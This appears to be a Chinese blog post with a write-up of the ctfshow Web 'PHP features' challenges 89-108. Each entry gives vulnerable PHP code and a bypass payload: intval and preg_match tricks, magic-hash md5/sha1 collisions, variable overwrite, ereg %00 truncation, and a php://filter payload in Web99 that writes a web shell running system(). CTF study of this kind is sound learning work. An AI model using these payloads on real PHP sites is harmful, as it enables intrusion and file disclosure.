zoukankan      html  css  js  c++  java
  • ctfshow之Web入门 PHP特性 89--不定时

    Web89

    include("flag.php"); 
    highlight_file(__FILE__);
    
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if(preg_match("/[0-9]/", $num)){
            die("no no no!");
        }
        if(intval($num)){
            echo $flag;
        }
    }
    
    //这里主要是对数字进行了过滤,并且又要GET请求传入的num变量为数字或数字串,关于preg_match()函数一个漏洞——>无法处理数组
    Paylaod:?num[]=10

    Web90

    include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==="4476"){
            die("no no no!");
        }
        if(intval($num,0)===4476){
            echo $flag;
        }else{
            echo intval($num,0);
        }
    }
     
    //强比较+intval函数
    Payload:?num=4476a(任意字母)

    Web91

    show_source(__FILE__);
    include('flag.php');
    $a=$_GET['cmd'];
    if(preg_match('/^php$/im', $a)){
        if(preg_match('/^php$/i', $a)){
            echo 'hacker';
        }
        else{
            echo $flag;
        }
    }
    else{
        echo 'nonononono';
    }
     
    //这里有有两个条件,第一个需要是php,第二个又不可以php,不过有个差距就是m模式,/m代表匹配多行数据,这里可以通过%0a进行绕过
    Payload:?cmd=%0aphp

    Web92

    1  Payload:?num=0x117c  十六进制
    2. 也可以:?num=010574 八进制
    //这里不能是4476,但是又要是4476,intval可以识别十六进制和八进制

        如果 base 是 0,通过检测 var 的格式来决定使用的进制:

    • 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
    • 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
    • 将使用 10 进制 (decimal)
    • 返回值

      成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。

      最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval('1000000000000') 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。

      字符串有可能返回 0,虽然取决于字符串最左侧的字符。

    Web93

    include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==4476){
            die("no no no!");
        }
        if(preg_match("/[a-z]/i", $num)){
            die("no no no!");
        }
        if(intval($num,0)==4476){
            echo $flag;
        }else{
            echo intval($num,0);
        }
    }
     
    //ban掉了字母,但是可以用八进制绕过
    Payload:?num=010574

    Web94

    include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==="4476"){
            die("no no no!");
        }
        if(preg_match("/[a-z]/i", $num)){
            die("no no no!");
        }
        if(!strpos($num, "0")){
            die("no no no!");
        }
        if(intval($num,0)===4476){
            echo $flag;
        }
    }
    
    //不能以0开头了,这时候可以试试小数,intval只识别整数部分
    Payload:?num=4476.0001

    Web95

    include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==4476){
            die("no no no!");
        }
        if(preg_match("/[a-z]|./i", $num)){
            die("no no no!!");
        }
        if(!strpos($num, "0")){
            die("no no no!!!");
        }
        if(intval($num,0)===4476){
            echo $flag;
        }
    }
    
    //弱比较不可以是4476,然后是传入参数不可以存在大小写的26个字母和“.”,接着是不可以以0开头,最后结束匹配时需要4476,一开始的若比较,这里可以用010574(4476的八进制)绕过,直接到了strpos函数这里,这里不能以0开头,去看了看intval函数的发现最开头可以如果是+还是可以识别为原数
    Payload:?num=+010574
    

    Web96

    highlight_file(__FILE__); 
    if(isset($_GET['u'])){
        if($_GET['u']=='flag.php'){
            die("no no no");
        }else{
            highlight_file($_GET['u']);
        }
    }
    <?ph
    //1
    ?u=./flag.php
    
    
    Web97
    include("flag.php");
    highlight_file(__FILE__);
    if (isset($_POST['a']) and isset($_POST['b'])) {
    if ($_POST['a'] != $_POST['b'])
    if (md5($_POST['a']) === md5($_POST['b']))
    echo $flag;
    else
    print 'Wrong.';
    }
    ?> 
    //简单的md5碰撞
    Payload:
    POST:a[]=1&b[]=2
    Web98
    include("flag.php");
    $_GET?$_GET=&$_POST:'flag';
    $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
    $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
    highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
     
    //考点:变量覆盖、三元运算符、&在php中的引用作用
    //一开始不知道是什么意思,问了一下大师傅,他跟我说了一下三元运算符以及&的作用
    //解释一下
    //第一句的意思是如果存在GET请求则引用POST请求的内容
    //接下来两句好像没啥用,不过为了保险,还是直接还是把flag=xx
    //最关键的就是HTTP_FALG=flag,这样才就能回显flag了
    //尝试了一下发现第一句存在变量覆盖的效果,所以GET请求不管给什么东西都会被POST请求覆盖掉
    Payload:GET:?xxx  POST:flag=xx&HTTP_FLAG=flag
    web99
    highlight_file(__FILE__);
    $allow = array();
    for ($i=0; $i < 0x36d; $i++) { 
        array_push($allow, rand(0,$i));
    }
    if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
        file_put_contents($_GET['n'], $_POST['content']);
    }
    ?>
    //array_push()函数向allow数组的尾部添加一个元素,该元素由rand()函数返回一个随机数
    //传入的参数中要有allow数组中的数字,然后是一个文件包含
    //文件包含可以用php://filter伪协议,可以使用base64或者rot13,这样包含了数字
    Payload:?n=php://filter/write=string%.rot13/resource=sh.php  POST:content=<?cuc flfgrz("gnp *.cuc");?>

    Web104

    <?php
    /*
    # -*- coding: utf-8 -*-
    # @Author: atao
    # @Dat:   2020-09-16 11:25:09
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-28 22:27:20
    */
    highlight_file(__FILE__);
    include("flag.php");
    if(isset($_POST['v1']) && isset($_GET['v2'])){
        $v1 = $_POST['v1'];
        $v2 = $_GET['v2'];
        if(sha1($v1)==sha1($v2)){
            echo $flag;
        }
    }
    ?>
    //由题可知,只需要v1的sha1的值等于v2的sha1值,即可获得flag
    //百度查一下sha1碰撞
    //这里是弱比较,所以作用就是sha1后为'0e'开头
    Payload:
    GET:?v2=aaroZmOk
    POST:v1=aaK1STfY

     Web105

    <?php
    /*
    # -*- coding: utf-8 -*-
    # @Author: Firebasky
    # @Date:   2020-09-16 11:25:09
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-28 22:34:07
    */
    highlight_file(__FILE__);
    include('flag.php');
    error_reporting(0);
    $error='你还想要flag嘛?';
    $suces='既然你想要那给你吧!';
    foreach($_GET as $key => $value){
        if($key==='error'){
            die("what are you doing?!");
        }
        $$key=$$value;
    }foreach($_POST as $key => $value){
        if($value==='flag'){
            die("what are you doing?!");
        }
        $$key=$$value;
    }
    if(!($_POST['flag']==$flag)){
        die($error);
    }
    echo "your are good".$flag."
    ";
    die($suces);
    ?>
     
    //一道变量覆盖的题目,由$$key=$$value确定,意思就是$key的内容作为变量,例如:$key=xx,$$key=$xx
    //GET请求的时候不能出现error,但是这里给了另外一个变量$suces,我们可以将$flag值赋给$suces
    //POST请求的时候不能出现flag,但是我们第一步已经把值赋给$suces了,所以这里不用出现$flag,只需要$suces把值赋给$error
    //最后再判断flag是否等于$flag,让flag!=$flag,输出$error即可
    Payload:
    GET:?suces=flag
    POST:error=suces
    Web106
    
    
    highlight_file(__FILE__);
    include("flag.php");
     
    if(isset($_POST['v1']) && isset($_GET['v2'])){
        $v1 = $_POST['v1'];
        $v2 = $_GET['v2'];
        if(sha1($v1)==sha1($v2) && $v1!=$v2){
            echo $flag;
        }
    }
    ?>
     
    //需要sha1碰撞

    Payload: GET:?v2=aaroZmOk POST:v1=aaK1STfY
    Web107
    <?php
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-16 11:25:09
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-28 23:24:14
    */
    highlight_file(__FILE__);
    error_reporting(0);
    include("flag.php");
     
    if(isset($_POST['v1'])){
        $v1 = $_POST['v1'];
        $v3 = $_GET['v3'];
           parse_str($v1,$v2);
           if($v2['flag']==md5($v3)){
               echo $flag;
           }
     
    }
    ?>
     
    //这里有个parse_str()的函数,百度了一下语法
    //parse_str(string,array) 函数在string中查询字符串解析到array数组变量中
    //后面的那个md5就简单了
    Payload:
    GET:?v3=37(任意数)
    POST:v1=flag=a5bfc9e07964f8dddeb95fc584cd965d(md5转32)

    Web108

    <?php
    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-16 11:25:09
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-28 23:53:55
     
    */
    highlight_file(__FILE__);
    error_reporting(0);
    include("flag.php");
     
    if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
        die('error');
    }
    //只有36d的人才能看到flag
    if(intval(strrev($_GET['c']))==0x36d){
        echo $flag;
    }
    ?>
     
    //ereg函数存在一个明显的漏洞:%00截断
    //strrev反转字符串
    Payload:?c=xx%00778
    
    
    

     参考:

    PHP intval() 函数

    https://www.php.net/manual/zh/book.spl.php

    https://www.cnblogs.com/erR0Ratao/p/13693066.html

  • 相关阅读:
    C++ 之头文件依赖和引用类型的成员变量
    go语言学习之结构体
    go语言学习之解析XML
    VSCode编辑器使用技巧:快捷输入HTML代码(转)
    Qt QNetworkAccessManager请求导致的软件闪退
    注册表在64位操作系统下
    Signal和Slot是同步的还是异步的
    C++之private虚函数
    eclipse环境下Python报错"undefined variable from import..."的解决方案
    Android占位符
  • 原文地址:https://www.cnblogs.com/an-lang/p/13794923.html
Copyright © 2011-2022 走看看